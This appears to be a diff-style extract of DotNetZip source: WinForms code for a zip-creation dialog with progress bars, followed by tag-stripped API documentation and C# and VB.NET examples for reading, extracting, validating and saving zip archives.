(this.tbZipName.Text == null || this.tbZipName.Text == "") return; + + // check for existence of the zip file: + if (System.IO.File.Exists(this.tbZipName.Text)) + { + var dlgResult = MessageBox.Show(String.Format("The file you have specified ({0}) already exists." + + " Do you want to overwrite this file?", this.tbZipName.Text), + "Confirmation is Required", MessageBoxButtons.YesNo, MessageBoxIcon.Question); + if (dlgResult != DialogResult.Yes) return; + System.IO.File.Delete(this.tbZipName.Text); + } + + _saveCanceled = false; + _nFilesCompleted = 0; + _totalBytesAfterCompress = 0; + _totalBytesBeforeCompress = 0; + this.btnOk.Enabled = false; + this.btnOk.Text = "Zipping..."; + this.btnCancel.Enabled = true; + lblStatus.Text = "Zipping..."; + + var options = new WorkerOptions + { + ZipName = this.tbZipName.Text, + Folder = _folderName, + Encoding = "ibm437" + }; + + if (this.comboBox1.SelectedIndex != 0) + { + options.Encoding = this.comboBox1.SelectedItem.ToString(); + } + + if (this.radioFlavorSfxCmd.Checked) + options.ZipFlavor = 2; + else if (this.radioFlavorSfxGui.Checked) + options.ZipFlavor = 1; + else options.ZipFlavor = 0; + + if (this.radioZip64AsNecessary.Checked) + options.Zip64 = Zip64Option.AsNecessary; + else if (this.radioZip64Always.Checked) + options.Zip64 = Zip64Option.Always; + else options.Zip64 = Zip64Option.Never; + + options.Comment = String.Format("Encoding:{0} || Flavor:{1} || ZIP64:{2}\r\nCreated at {3} || {4}\r\n", + options.Encoding, + FlavorToString(options.ZipFlavor), + options.Zip64.ToString(), + System.DateTime.Now.ToString("yyyy-MMM-dd HH:mm:ss"), + this.Text); + + if (this.tbComment.Text != TB_COMMENT_NOTE) + options.Comment += this.tbComment.Text; + + _workerThread = new Thread(this.DoSave); + _workerThread.Name = "Zip Saver thread"; + _workerThread.Start(options); + this.Cursor = Cursors.WaitCursor; + } + + + private void DoSave(Object p) + { + WorkerOptions options = p as WorkerOptions; + try + { + using (var zip1 = new ZipFile()) + { + zip1.ProvisionalAlternateEncoding = System.Text.Encoding.GetEncoding(options.Encoding); + zip1.Comment = options.Comment; + zip1.AddDirectory(options.Folder); + _entriesToZip = zip1.EntryFileNames.Count; + SetProgressBars(); + zip1.SaveProgress += this.zip1_SaveProgress; + + zip1.UseZip64WhenSaving = options.Zip64; + + if (options.ZipFlavor == 1) + zip1.SaveSelfExtractor(options.ZipName, SelfExtractorFlavor.WinFormsApplication); + else if (options.ZipFlavor == 2) + zip1.SaveSelfExtractor(options.ZipName, SelfExtractorFlavor.ConsoleApplication); + else + zip1.Save(options.ZipName); + } + } + catch (System.Exception exc1) + { + MessageBox.Show(String.Format("Exception while zipping: {0}", exc1.Message)); + btnCancel_Click(null, null); + } + } + + + + void zip1_SaveProgress(object sender, SaveProgressEventArgs e) + { + switch (e.EventType) + { + case ZipProgressEventType.Saving_AfterWriteEntry: + StepArchiveProgress(e); + break; + case ZipProgressEventType.Saving_EntryBytesRead: + StepEntryProgress(e); + break; + case ZipProgressEventType.Saving_Completed: + SaveCompleted(); + break; + case ZipProgressEventType.Saving_AfterSaveTempArchive: + // this event only occurs when saving an SFX file + TempArchiveSaved(); + break; + } + if (_saveCanceled) + e.Cancel = true; + } + + + + private void StepArchiveProgress(SaveProgressEventArgs e) + { + if (this.progressBar1.InvokeRequired) + { + this.progressBar1.Invoke(new SaveEntryProgress(this.StepArchiveProgress), new object[] { e }); + } + else + { + if (!_saveCanceled) + { + _nFilesCompleted++; + this.progressBar1.PerformStep(); + _totalBytesAfterCompress += e.CurrentEntry.CompressedSize; + _totalBytesBeforeCompress += e.CurrentEntry.UncompressedSize; + + // reset the progress bar for the entry: + this.progressBar2.Value = this.progressBar2.Maximum = 1; + + this.Update(); + } + } + } + + + private void StepEntryProgress(SaveProgressEventArgs e) + { + if (this.progressBar2.InvokeRequired) + { + this.progressBar2.Invoke(new SaveEntryProgress(this.StepEntryProgress), new object[] { e }); + } + else + { + if (!_saveCanceled) + { + if (this.progressBar2.Maximum == 1) + { + // reset + Int64 max = e.TotalBytesToTransfer; + _progress2MaxFactor = 0; + while (max > System.Int32.MaxValue) + { + max /= 2; + _progress2MaxFactor++; + } + this.progressBar2.Maximum = (int)max; + lblStatus.Text = String.Format("{0} of {1} files...({2})", + _nFilesCompleted + 1, _entriesToZip, e.CurrentEntry.FileName); + } + + int xferred = e.BytesTransferred >> _progress2MaxFactor; + + this.progressBar2.Value = (xferred >= this.progressBar2.Maximum) + ? this.progressBar2.Maximum + : xferred; + + this.Update(); + } + } + } + + private void SaveCompleted() + { + if (this.lblStatus.InvokeRequired) + { + this.lblStatus.Invoke(new MethodInvoker(this.SaveCompleted)); + } + else + { + lblStatus.Text = String.Format("Done, Compressed {0} files, {1:N0}% of original.", + _nFilesCompleted, (100.00 * _totalBytesAfterCompress) / _totalBytesBeforeCompress); + ResetState(); + } + } + + private void ResetState() + { + this.btnCancel.Enabled = false; + this.btnOk.Enabled = true; + this.btnOk.Text = "Zip it!"; + this.progressBar1.Value = 0; + this.progressBar2.Value = 0; + this.Cursor = Cursors.Default; + if (!_workerThread.IsAlive) + _workerThread.Join(); + } + + + + + + + + + + + An event handler invoked before, during, and after the reading of a zip archive. + + + + + Depending on the particular event being signaled, different properties on the + parameter are set. The following table + summarizes the available EventTypes and the conditions under which this + event handler is invoked with a ReadProgressEventArgs with the given EventType. + + + + + value of EntryType + Meaning and conditions + + + + ZipProgressEventType.Reading_Started + Fired just as ZipFile.Read() begins. Meaningful properties: ArchiveName. + + + + + ZipProgressEventType.Reading_Completed + Fired when ZipFile.Read() has completed. Meaningful properties: ArchiveName. + + + + + ZipProgressEventType.Reading_ArchiveBytesRead + Fired while reading, updates the number of bytes read for the entire archive. + Meaningful properties: ArchiveName, CurrentEntry, BytesTransferred, TotalBytesToTransfer. + + + + + ZipProgressEventType.Reading_BeforeReadEntry + Indicates an entry is about to be read from the archive. + Meaningful properties: ArchiveName, EntriesTotal. + + + + + ZipProgressEventType.Reading_AfterReadEntry + Indicates an entry has just been read from the archive. + Meaningful properties: ArchiveName, EntriesTotal, CurrentEntry. + + + + + + + + + + + + + An event handler invoked before, during, and after extraction of + entries in the zip archive. + + + + + Depending on the particular event, different properties on the parameter are set. The following + table summarizes the available EventTypes and the conditions under + which this event handler is invoked with a + ExtractProgressEventArgs with the given EventType. + + + + + value of EntryType + Meaning and conditions + + + + ZipProgressEventType.Extracting_BeforeExtractAll + + Set when ExtractAll() begins. The ArchiveName, Overwrite, and + ExtractLocation properties are meaningful. + + + + ZipProgressEventType.Extracting_AfterExtractAll + + Set when ExtractAll() has completed. The ArchiveName, Overwrite, + and ExtractLocation properties are meaningful. + + + + + ZipProgressEventType.Extracting_BeforeExtractEntry + + Set when an Extract() on an entry in the ZipFile has begun. + Properties that are meaningful: ArchiveName, EntriesTotal, + CurrentEntry, Overwrite, ExtractLocation, EntriesExtracted. + + + + + ZipProgressEventType.Extracting_AfterExtractEntry + + Set when an Extract() on an entry in the ZipFile has completed. + Properties that are meaningful: ArchiveName, EntriesTotal, + CurrentEntry, Overwrite, ExtractLocation, EntriesExtracted. + + + + + ZipProgressEventType.Extracting_EntryBytesWritten + + Set within a call to Extract() on an entry in the ZipFile, as data + is extracted for the entry. Properties that are meaningful: + ArchiveName, CurrentEntry, BytesTransferred, TotalBytesToTransfer. + + + + + ZipProgressEventType.Extracting_ExtractEntryWouldOverwrite + + Set within a call to Extract() on an entry in the ZipFile, when the + extraction would overwrite an existing file. This event type is used + only when ExtractExistingFileAction on the ZipFile or + ZipEntry is set to InvokeExtractProgressEvent. + + + + + + + + + + private static bool justHadByteUpdate = false; + public static void ExtractProgress(object sender, ExtractProgressEventArgs e) + { + if(e.EventType == ZipProgressEventType.Extracting_EntryBytesWritten) + { + if (justHadByteUpdate) + Console.SetCursorPosition(0, Console.CursorTop); + + Console.Write(" {0}/{1} ({2:N0}%)", e.BytesTransferred, e.TotalBytesToTransfer, + e.BytesTransferred / (0.01 * e.TotalBytesToTransfer )); + justHadByteUpdate = true; + } + else if(e.EventType == ZipProgressEventType.Extracting_BeforeExtractEntry) + { + if (justHadByteUpdate) + Console.WriteLine(); + Console.WriteLine("Extracting: {0}", e.CurrentEntry.FileName); + justHadByteUpdate= false; + } + } + + public static ExtractZip(string zipToExtract, string directory) + { + string TargetDirectory= "extract"; + using (var zip = ZipFile.Read(zipToExtract)) { + zip.ExtractProgress += ExtractProgress; + foreach (var e in zip1) + { + e.Extract(TargetDirectory, true); + } + } + } + + + + Public Shared Sub Main(ByVal args As String()) + Dim ZipToUnpack As String = "C1P3SML.zip" + Dim TargetDir As String = "ExtractTest_Extract" + Console.WriteLine("Extracting file {0} to {1}", ZipToUnpack, TargetDir) + Using zip1 As ZipFile = ZipFile.Read(ZipToUnpack) + AddHandler zip1.ExtractProgress, AddressOf MyExtractProgress + Dim e As ZipEntry + For Each e In zip1 + e.Extract(TargetDir, True) + Next + End Using + End Sub + + Private Shared justHadByteUpdate As Boolean = False + + Public Shared Sub MyExtractProgress(ByVal sender As Object, ByVal e As ExtractProgressEventArgs) + If (e.EventType = ZipProgressEventType.Extracting_EntryBytesWritten) Then + If ExtractTest.justHadByteUpdate Then + Console.SetCursorPosition(0, Console.CursorTop) + End If + Console.Write(" {0}/{1} ({2:N0}%)", e.BytesTransferred, e.TotalBytesToTransfer, (CDbl(e.BytesTransferred) / (0.01 * e.TotalBytesToTransfer))) + ExtractTest.justHadByteUpdate = True + ElseIf (e.EventType = ZipProgressEventType.Extracting_BeforeExtractEntry) Then + If ExtractTest.justHadByteUpdate Then + Console.WriteLine + End If + Console.WriteLine("Extracting: {0}", e.CurrentEntry.FileName) + ExtractTest.justHadByteUpdate = False + End If + End Sub + + + + + + + + + + An event handler invoked before, during, and after Adding entries to a zip archive. + + + + Adding a large number of entries to a zip file can take a long + time. For example, when calling on a + directory that contains 50,000 files, it could take 3 minutes or so. + This event handler allws an application to track the progress of the Add + operation, and to optionally cancel a lengthy Add operation. + + + + + + int _numEntriesToAdd= 0; + int _numEntriesAdded= 0; + void AddProgressHandler(object sender, AddProgressEventArgs e) + { + switch (e.EventType) + { + case ZipProgressEventType.Adding_Started: + Console.WriteLine("Adding files to the zip..."); + break; + case ZipProgressEventType.Adding_AfterAddEntry: + _numEntriesAdded++; + Console.WriteLine(String.Format("Adding file {0}/{1} :: {2}", + _numEntriesAdded, _numEntriesToAdd, e.CurrentEntry.FileName)); + break; + case ZipProgressEventType.Adding_Completed: + Console.WriteLine("Added all files"); + break; + } + } + + void CreateTheZip() + { + using (ZipFile zip = new ZipFile()) + { + zip.AddProgress += AddProgressHandler; + zip.AddDirectory(System.IO.Path.GetFileName(DirToZip)); + zip.Save(ZipFileToCreate); + } + } + + + + + + Private Sub AddProgressHandler(ByVal sender As Object, ByVal e As AddProgressEventArgs) + Select Case e.EventType + Case ZipProgressEventType.Adding_Started + Console.WriteLine("Adding files to the zip...") + Exit Select + Case ZipProgressEventType.Adding_AfterAddEntry + Console.WriteLine(String.Format("Adding file {0}", e.CurrentEntry.FileName)) + Exit Select + Case ZipProgressEventType.Adding_Completed + Console.WriteLine("Added all files") + Exit Select + End Select + End Sub + + Sub CreateTheZip() + Using zip as ZipFile = New ZipFile + AddHandler zip.AddProgress, AddressOf AddProgressHandler + zip.AddDirectory(System.IO.Path.GetFileName(DirToZip)) + zip.Save(ZipFileToCreate); + End Using + End Sub + + + + + + + + + + + + An event that is raised when an error occurs during open or read of files + while saving a zip archive. + + + + + Errors can occur as a file is being saved to the zip archive. For + example, the File.Open may fail, or a File.Read may fail, because of + lock conflicts or other reasons. If you add a handler to this event, + you can handle such errors in your own code. If you don't add a + handler, the library will throw an exception if it encounters an I/O + error during a call to Save(). + + + + Setting a handler implicitly sets to + ZipErrorAction.InvokeErrorEvent. + + + + The handler you add applies to all items that are + subsequently added to the ZipFile instance. If you set this + property after you have added items to the ZipFile, but before you + have called Save(), errors that occur while saving those items + will not cause the error handler to be invoked. + + + + If you want to handle any errors that occur with any entry in the zip + file using the same error handler, then add your error handler once, + before adding any entries to the zip archive. + + + + In the error handler method, you need to set the property on the + ZipErrorEventArgs.CurrentEntry. This communicates back to + DotNetZip what you would like to do with this particular error. Within + an error handler, if you set the ZipEntry.ZipErrorAction property + on the ZipEntry to ZipErrorAction.InvokeErrorEvent or if + you don't set it at all, the library will throw the exception. (It is the + same as if you had set the ZipEntry.ZipErrorAction property on the + ZipEntry to ZipErrorAction.Throw.) If you set the + ZipErrorEventArgs.Cancel to true, the entire Save() will be + canceled. + + + + In the case that you use ZipErrorAction.Skip, implying that + you want to skip the entry for which there's been an error, DotNetZip + tries to seek backwards in the output stream, and truncate all bytes + written on behalf of that particular entry. This works only if the + output stream is seekable. It will not work, for example, when using + ASPNET's Response.OutputStream. + + + + + + + This example shows how to use an event handler to handle + errors during save of the zip file. + + + public static void MyZipError(object sender, ZipErrorEventArgs e) + { + Console.WriteLine("Error saving {0}...", e.FileName); + Console.WriteLine(" Exception: {0}", e.exception); + ZipEntry entry = e.CurrentEntry; + string response = null; + // Ask the user whether he wants to skip this error or not + do + { + Console.Write("Retry, Skip, Throw, or Cancel ? (R/S/T/C) "); + response = Console.ReadLine(); + Console.WriteLine(); + + } while (response != null && + response[0]!='S' && response[0]!='s' && + response[0]!='R' && response[0]!='r' && + response[0]!='T' && response[0]!='t' && + response[0]!='C' && response[0]!='c'); + + e.Cancel = (response[0]=='C' || response[0]=='c'); + + if (response[0]=='S' || response[0]=='s') + entry.ZipErrorAction = ZipErrorAction.Skip; + else if (response[0]=='R' || response[0]=='r') + entry.ZipErrorAction = ZipErrorAction.Retry; + else if (response[0]=='T' || response[0]=='t') + entry.ZipErrorAction = ZipErrorAction.Throw; + } + + public void SaveTheFile() + { + string directoryToZip = "fodder"; + string directoryInArchive = "files"; + string zipFileToCreate = "Archive.zip"; + using (var zip = new ZipFile()) + { + // set the event handler before adding any entries + zip.ZipError += MyZipError; + zip.AddDirectory(directoryToZip, directoryInArchive); + zip.Save(zipFileToCreate); + } + } + + + + Private Sub MyZipError(ByVal sender As Object, ByVal e As Ionic.Zip.ZipErrorEventArgs) + ' At this point, the application could prompt the user for an action to take. + ' But in this case, this application will simply automatically skip the file, in case of error. + Console.WriteLine("Zip Error, entry {0}", e.CurrentEntry.FileName) + Console.WriteLine(" Exception: {0}", e.exception) + ' set the desired ZipErrorAction on the CurrentEntry to communicate that to DotNetZip + e.CurrentEntry.ZipErrorAction = Zip.ZipErrorAction.Skip + End Sub + + Public Sub SaveTheFile() + Dim directoryToZip As String = "fodder" + Dim directoryInArchive As String = "files" + Dim zipFileToCreate as String = "Archive.zip" + Using zipArchive As ZipFile = New ZipFile + ' set the event handler before adding any entries + AddHandler zipArchive.ZipError, AddressOf MyZipError + zipArchive.AddDirectory(directoryToZip, directoryInArchive) + zipArchive.Save(zipFileToCreate) + End Using + End Sub + + + + + + + + + Extracts all of the items in the zip archive, to the specified path in the + filesystem. The path can be relative or fully-qualified. + + + + + This method will extract all entries in the ZipFile to the + specified path. + + + + If an extraction of a file from the zip archive would overwrite an + existing file in the filesystem, the action taken is dictated by the + ExtractExistingFile property, which overrides any setting you may have + made on individual ZipEntry instances. By default, if you have not + set that property on the ZipFile instance, the entry will not + be extracted, the existing file will not be overwritten and an + exception will be thrown. To change this, set the property, or use the + overload that allows you to + specify an ExtractExistingFileAction parameter. + + + + The action to take when an extract would overwrite an existing file + applies to all entries. If you want to set this on a per-entry basis, + then you must use one of the ZipEntry.Extract methods. + + + + This method will send verbose output messages to the , if it is set on the ZipFile + instance. + + + + You may wish to take advantage of the ExtractProgress event. + + + + About timestamps: When extracting a file entry from a zip archive, the + extracted file gets the last modified time of the entry as stored in + the archive. The archive may also store extended file timestamp + information, including last accessed and created times. If these are + present in the ZipEntry, then the extracted file will also get + these times. + + + + A Directory entry is somewhat different. It will get the times as + described for a file entry, but, if there are file entries in the zip + archive that, when extracted, appear in the just-created directory, + then when those file entries are extracted, the last modified and last + accessed times of the directory will change, as a side effect. The + result is that after an extraction of a directory and a number of + files within the directory, the last modified and last accessed + timestamps on the directory will reflect the time that the last file + was extracted into the directory, rather than the time stored in the + zip archive for the directory. + + + + To compensate, when extracting an archive with ExtractAll, + DotNetZip will extract all the file and directory entries as described + above, but it will then make a second pass on the directories, and + reset the times on the directories to reflect what is stored in the + zip archive. + + + + This compensation is performed only within the context of an + ExtractAll. If you call ZipEntry.Extract on a directory + entry, the timestamps on directory in the filesystem will reflect the + times stored in the zip. If you then call ZipEntry.Extract on + a file entry, which is extracted into the directory, the timestamps on + the directory will be updated to the current time. + + + + + This example extracts all the entries in a zip archive file, to the + specified target directory. The extraction will overwrite any + existing files silently. + + + String TargetDirectory= "unpack"; + using(ZipFile zip= ZipFile.Read(ZipFileToExtract)) + { + zip.ExtractExistingFile= ExtractExistingFileAction.OverwriteSilently; + zip.ExtractAll(TargetDirectory); + } + + + + Dim TargetDirectory As String = "unpack" + Using zip As ZipFile = ZipFile.Read(ZipFileToExtract) + zip.ExtractExistingFile= ExtractExistingFileAction.OverwriteSilently + zip.ExtractAll(TargetDirectory) + End Using + + + + + + + + The path to which the contents of the zipfile will be extracted. + The path can be relative or fully-qualified. + + + + + + Extracts all of the items in the zip archive, to the specified path in the + filesystem, using the specified behavior when extraction would overwrite an + existing file. + + + + + + This method will extract all entries in the ZipFile to the specified + path. For an extraction that would overwrite an existing file, the behavior + is dictated by , which overrides any + setting you may have made on individual ZipEntry instances. + + + + The action to take when an extract would overwrite an existing file + applies to all entries. If you want to set this on a per-entry basis, + then you must use or one of the similar methods. + + + + Calling this method is equivalent to setting the property and then calling . + + + + This method will send verbose output messages to the + , if it is set on the ZipFile instance. + + + + + This example extracts all the entries in a zip archive file, to the + specified target directory. It does not overwrite any existing files. + + String TargetDirectory= "c:\\unpack"; + using(ZipFile zip= ZipFile.Read(ZipFileToExtract)) + { + zip.ExtractAll(TargetDirectory, ExtractExistingFileAction.DontOverwrite); + } + + + + Dim TargetDirectory As String = "c:\unpack" + Using zip As ZipFile = ZipFile.Read(ZipFileToExtract) + zip.ExtractAll(TargetDirectory, ExtractExistingFileAction.DontOverwrite) + End Using + + + + + The path to which the contents of the zipfile will be extracted. + The path can be relative or fully-qualified. + + + + The action to take if extraction would overwrite an existing file. + + + + + + Reads a zip file archive and returns the instance. + + + + + The stream is read using the default System.Text.Encoding, which is the + IBM437 codepage. + + + + + Thrown if the ZipFile cannot be read. The implementation of this method + relies on System.IO.File.OpenRead, which can throw a variety of exceptions, + including specific exceptions if a file is not found, an unauthorized access + exception, exceptions for poorly formatted filenames, and so on. + + + + The name of the zip archive to open. This can be a fully-qualified or relative + pathname. + + + . + + The instance read from the zip archive. + + + + + Reads a zip file archive from the named filesystem file using the + specified options. + + + + + This version of the Read() method allows the caller to pass + in a TextWriter an Encoding, via an instance of the + ReadOptions class. The ZipFile is read in using the + specified encoding for entries where UTF-8 encoding is not + explicitly specified. + + + + + + + This example shows how to read a zip file using the Big-5 Chinese + code page (950), and extract each entry in the zip file, while + sending status messages out to the Console. + + + + For this code to work as intended, the zipfile must have been + created using the big5 code page (CP950). This is typical, for + example, when using WinRar on a machine with CP950 set as the + default code page. In that case, the names of entries within the + Zip archive will be stored in that code page, and reading the zip + archive must be done using that code page. If the application did + not use the correct code page in ZipFile.Read(), then names of + entries within the zip archive would not be correctly retrieved. + + + + string zipToExtract = "MyArchive.zip"; + string extractDirectory = "extract"; + var options = new ReadOptions + { + StatusMessageWriter = System.Console.Out, + Encoding = System.Text.Encoding.GetEncoding(950) + }; + using (ZipFile zip = ZipFile.Read(zipToExtract, options)) + { + foreach (ZipEntry e in zip) + { + e.Extract(extractDirectory); + } + } + + + + + Dim zipToExtract as String = "MyArchive.zip" + Dim extractDirectory as String = "extract" + Dim options as New ReadOptions + options.Encoding = System.Text.Encoding.GetEncoding(950) + options.StatusMessageWriter = System.Console.Out + Using zip As ZipFile = ZipFile.Read(zipToExtract, options) + Dim e As ZipEntry + For Each e In zip + e.Extract(extractDirectory) + Next + End Using + + + + + + + + This example shows how to read a zip file using the default + code page, to remove entries that have a modified date before a given threshold, + sending status messages out to a StringWriter. + + + + var options = new ReadOptions + { + StatusMessageWriter = new System.IO.StringWriter() + }; + using (ZipFile zip = ZipFile.Read("PackedDocuments.zip", options)) + { + var Threshold = new DateTime(2007,7,4); + // We cannot remove the entry from the list, within the context of + // an enumeration of said list. + // So we add the doomed entry to a list to be removed later. + // pass 1: mark the entries for removal + var MarkedEntries = new System.Collections.Generic.List<ZipEntry>(); + foreach (ZipEntry e in zip) + { + if (e.LastModified < Threshold) + MarkedEntries.Add(e); + } + // pass 2: actually remove the entry. + foreach (ZipEntry zombie in MarkedEntries) + zip.RemoveEntry(zombie); + zip.Comment = "This archive has been updated."; + zip.Save(); + } + // can now use contents of sw, eg store in an audit log + + + + Dim options as New ReadOptions + options.StatusMessageWriter = New System.IO.StringWriter + Using zip As ZipFile = ZipFile.Read("PackedDocuments.zip", options) + Dim Threshold As New DateTime(2007, 7, 4) + ' We cannot remove the entry from the list, within the context of + ' an enumeration of said list. + ' So we add the doomed entry to a list to be removed later. + ' pass 1: mark the entries for removal + Dim MarkedEntries As New System.Collections.Generic.List(Of ZipEntry) + Dim e As ZipEntry + For Each e In zip + If (e.LastModified < Threshold) Then + MarkedEntries.Add(e) + End If + Next + ' pass 2: actually remove the entry. + Dim zombie As ZipEntry + For Each zombie In MarkedEntries + zip.RemoveEntry(zombie) + Next + zip.Comment = "This archive has been updated." + zip.Save + End Using + ' can now use contents of sw, eg store in an audit log + + + + + Thrown if the zipfile cannot be read. The implementation of + this method relies on System.IO.File.OpenRead, which + can throw a variety of exceptions, including specific + exceptions if a file is not found, an unauthorized access + exception, exceptions for poorly formatted filenames, and so + on. + + + + The name of the zip archive to open. + This can be a fully-qualified or relative pathname. + + + + The set of options to use when reading the zip file. + + + The ZipFile instance read from the zip archive. + + + + + + + Reads a zip file archive using the specified text encoding, the specified + TextWriter for status messages, and the specified ReadProgress event handler, + and returns the instance. + + + + The name of the zip archive to open. + This can be a fully-qualified or relative pathname. + + + + An event handler for Read operations. + + + + The System.IO.TextWriter to use for writing verbose status messages + during operations on the zip archive. A console application may wish to + pass System.Console.Out to get messages on the Console. A graphical + or headless application may wish to capture the messages in a different + TextWriter, such as a System.IO.StringWriter. + + + + The System.Text.Encoding to use when reading in the zip archive. Be + careful specifying the encoding. If the value you use here is not the same + as the Encoding used when the zip archive was created (possibly by a + different archiver) you will get unexpected results and possibly exceptions. + + + The instance read from the zip archive. + + + + + Reads a zip archive from a stream. + + + + + + When reading from a file, it's probably easier to just use + ZipFile.Read(String, ReadOptions). This + overload is useful when when the zip archive content is + available from an already-open stream. The stream must be + open and readable and seekable when calling this method. The + stream is left open when the reading is completed. + + + + Using this overload, the stream is read using the default + System.Text.Encoding, which is the IBM437 + codepage. If you want to specify the encoding to use when + reading the zipfile content, see + ZipFile.Read(Stream, ReadOptions). This + + + + Reading of zip content begins at the current position in the + stream. This means if you have a stream that concatenates + regular data and zip data, if you position the open, readable + stream at the start of the zip data, you will be able to read + the zip archive using this constructor, or any of the ZipFile + constructors that accept a as + input. Some examples of where this might be useful: the zip + content is concatenated at the end of a regular EXE file, as + some self-extracting archives do. (Note: SFX files produced + by DotNetZip do not work this way; they can be read as normal + ZIP files). Another example might be a stream being read from + a database, where the zip content is embedded within an + aggregate stream of data. + + + + + + + This example shows how to Read zip content from a stream, and + extract one entry into a different stream. In this example, + the filename "NameOfEntryInArchive.doc", refers only to the + name of the entry within the zip archive. A file by that + name is not created in the filesystem. The I/O is done + strictly with the given streams. + + + + using (ZipFile zip = ZipFile.Read(InputStream)) + { + zip.Extract("NameOfEntryInArchive.doc", OutputStream); + } + + + + Using zip as ZipFile = ZipFile.Read(InputStream) + zip.Extract("NameOfEntryInArchive.doc", OutputStream) + End Using + + + + the stream containing the zip data. + + The ZipFile instance read from the stream + + + + + Reads a zip file archive from the given stream using the + specified options. + + + + + + When reading from a file, it's probably easier to just use + ZipFile.Read(String, ReadOptions). This + overload is useful when when the zip archive content is + available from an already-open stream. The stream must be + open and readable and seekable when calling this method. The + stream is left open when the reading is completed. + + + + Reading of zip content begins at the current position in the + stream. This means if you have a stream that concatenates + regular data and zip data, if you position the open, readable + stream at the start of the zip data, you will be able to read + the zip archive using this constructor, or any of the ZipFile + constructors that accept a as + input. Some examples of where this might be useful: the zip + content is concatenated at the end of a regular EXE file, as + some self-extracting archives do. (Note: SFX files produced + by DotNetZip do not work this way; they can be read as normal + ZIP files). Another example might be a stream being read from + a database, where the zip content is embedded within an + aggregate stream of data. + + + + the stream containing the zip data. + + + The set of options to use when reading the zip file. + + + + Thrown if the zip archive cannot be read. + + + The ZipFile instance read from the stream. + + + + + + + Reads a zip archive from a stream, using the specified text Encoding, the + specified TextWriter for status messages, + and the specified ReadProgress event handler. + + + + + Reading of zip content begins at the current position in the stream. This + means if you have a stream that concatenates regular data and zip data, if + you position the open, readable stream at the start of the zip data, you + will be able to read the zip archive using this constructor, or any of the + ZipFile constructors that accept a as + input. Some examples of where this might be useful: the zip content is + concatenated at the end of a regular EXE file, as some self-extracting + archives do. (Note: SFX files produced by DotNetZip do not work this + way). Another example might be a stream being read from a database, where + the zip content is embedded within an aggregate stream of data. + + + + the stream containing the zip data. + + + The System.IO.TextWriter to which verbose status messages are written + during operations on the ZipFile. For example, in a console + application, System.Console.Out works, and will get a message for each entry + added to the ZipFile. If the TextWriter is null, no verbose messages + are written. + + + + The text encoding to use when reading entries that do not have the UTF-8 + encoding bit set. Be careful specifying the encoding. If the value you use + here is not the same as the Encoding used when the zip archive was created + (possibly by a different archiver) you will get unexpected results and + possibly exceptions. See the + property for more information. + + + + An event handler for Read operations. + + + an instance of ZipFile + + + + Checks the given file to see if it appears to be a valid zip file. + + + + + Calling this method is equivalent to calling with the testExtract parameter set to false. + + + + The file to check. + true if the file appears to be a zip file. + + + + Checks a file to see if it is a valid zip file. + + + + + This method opens the specified zip file, reads in the zip archive, + verifying the ZIP metadata as it reads. + + + + If everything succeeds, then the method returns true. If anything fails - + for example if an incorrect signature or CRC is found, indicating a + corrupt file, the the method returns false. This method also returns + false for a file that does not exist. + + + + If is true, as part of its check, this + method reads in the content for each entry, expands it, and checks CRCs. + This provides an additional check beyond verifying the zip header and + directory data. + + + + If is true, and if any of the zip entries + are protected with a password, this method will return false. If you want + to verify a ZipFile that has entries which are protected with a + password, you will need to do that manually. + + + + + The zip file to check. + true if the caller wants to extract each entry. + true if the file contains a valid zip file. + + + + Checks a stream to see if it contains a valid zip archive. + + + + + This method reads the zip archive contained in the specified stream, verifying + the ZIP metadata as it reads. If testExtract is true, this method also extracts + each entry in the archive, dumping all the bits into . + + + + If everything succeeds, then the method returns true. If anything fails - + for example if an incorrect signature or CRC is found, indicating a corrupt + file, the the method returns false. This method also returns false for a + file that does not exist. + + + + If testExtract is true, this method reads in the content for each + entry, expands it, and checks CRCs. This provides an additional check + beyond verifying the zip header data. + + + + If testExtract is true, and if any of the zip entries are protected + with a password, this method will return false. If you want to verify a + ZipFile that has entries which are protected with a password, you will need + to do that manually. + + + + + + The stream to check. + true if the caller wants to extract each entry. + true if the stream contains a valid zip archive. + + + + Delete file with retry on UnauthorizedAccessException. + + + + + When calling File.Delete() on a file that has been "recently" + created, the call sometimes fails with + UnauthorizedAccessException. This method simply retries the Delete 3 + times with a sleep between tries. + + + + the name of the file to be deleted + + + + Saves the Zip archive to a file, specified by the Name property of the + ZipFile. + + + + + The ZipFile instance is written to storage, typically a zip file + in a filesystem, only when the caller calls Save. In the typical + case, the Save operation writes the zip content to a temporary file, and + then renames the temporary file to the desired name. If necessary, this + method will delete a pre-existing file before the rename. + + + + The property is specified either explicitly, + or implicitly using one of the parameterized ZipFile constructors. For + COM Automation clients, the Name property must be set explicitly, + because COM Automation clients cannot call parameterized constructors. + + + + When using a filesystem file for the Zip output, it is possible to call + Save multiple times on the ZipFile instance. With each + call the zip content is re-written to the same output file. + + + + Data for entries that have been added to the ZipFile instance is + written to the output when the Save method is called. This means + that the input streams for those entries must be available at the time + the application calls Save. If, for example, the application + adds entries with AddEntry using a dynamically-allocated + MemoryStream, the memory stream must not have been disposed + before the call to Save. See the property for more discussion of the + availability requirements of the input stream for an entry, and an + approach for providing just-in-time stream lifecycle management. + + + + + + + + Thrown if you haven't specified a location or stream for saving the zip, + either in the constructor or by setting the Name property, or if you try + to save a regular zip archive to a filename with a .exe extension. + + + + Thrown if or is non-zero, and the number + of segments that would be generated for the spanned zip file during the + save operation exceeds 99. If this happens, you need to increase the + segment size. + + + + + + Save the file to a new zipfile, with the given name. + + + + + This method allows the application to explicitly specify the name of the zip + file when saving. Use this when creating a new zip file, or when + updating a zip archive. + + + + An application can also save a zip archive in several places by calling this + method multiple times in succession, with different filenames. + + + + The ZipFile instance is written to storage, typically a zip file in a + filesystem, only when the caller calls Save. The Save operation writes + the zip content to a temporary file, and then renames the temporary file + to the desired name. If necessary, this method will delete a pre-existing file + before the rename. + + + + + + Thrown if you specify a directory for the filename. + + + + The name of the zip archive to save to. Existing files will + be overwritten with great prejudice. + + + + This example shows how to create and Save a zip file. + + using (ZipFile zip = new ZipFile()) + { + zip.AddDirectory(@"c:\reports\January"); + zip.Save("January.zip"); + } + + + + Using zip As New ZipFile() + zip.AddDirectory("c:\reports\January") + zip.Save("January.zip") + End Using + + + + + + This example shows how to update a zip file. + + using (ZipFile zip = ZipFile.Read("ExistingArchive.zip")) + { + zip.AddFile("NewData.csv"); + zip.Save("UpdatedArchive.zip"); + } + + + + Using zip As ZipFile = ZipFile.Read("ExistingArchive.zip") + zip.AddFile("NewData.csv") + zip.Save("UpdatedArchive.zip") + End Using + + + + + + + Save the zip archive to the specified stream. + + + + + The 